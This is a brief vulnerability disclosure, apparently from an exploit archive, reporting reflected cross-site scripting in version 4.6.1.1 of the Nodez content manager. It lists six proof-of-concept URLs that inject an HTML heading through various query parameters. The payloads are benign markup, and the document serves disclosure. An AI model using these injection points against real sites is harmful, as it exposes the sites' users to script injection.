Nodez version 4.6.1.1 is susceptible to multiple cross site scripting flaws.
291282274ca509c8c0f638d02f1712db7f423e1ce1af2c974796bff6dc2c3ea4
[Description]: Nodez is a young, but strong, open source Content Manager. Nodez is designed to be as modular, stable and lightweight as possible
[version]: Version 4.6.1.1
[vendor]: https://nodez.greentinted.com
[Vulnerability]: cross site script
[sploit]
https://[host]/[nodez]/?node=system&op=filenotfound&file=<h1>x1ng<h1/>
https://[host]/[nodez]/?node=system&op=<h1>x1ng<h1/>
https://[host]/[nodez]/?node=system&op=blockop&block=10&bop=<h1>x1ng<h1/>
https://[host]/[nodez]/?node=system&op=extop&ext=nodez_system_ext&eop=<h1>x1ng<h1/>
https://[host]/[nodez]/?node=system&op=extop&ext=<h1>x1ng<h1/>
https://[host]/[nodez]/?node=1041&op=topic&id=<h1>x1ng<h1/>
X1ngBox |4t| gmail C0m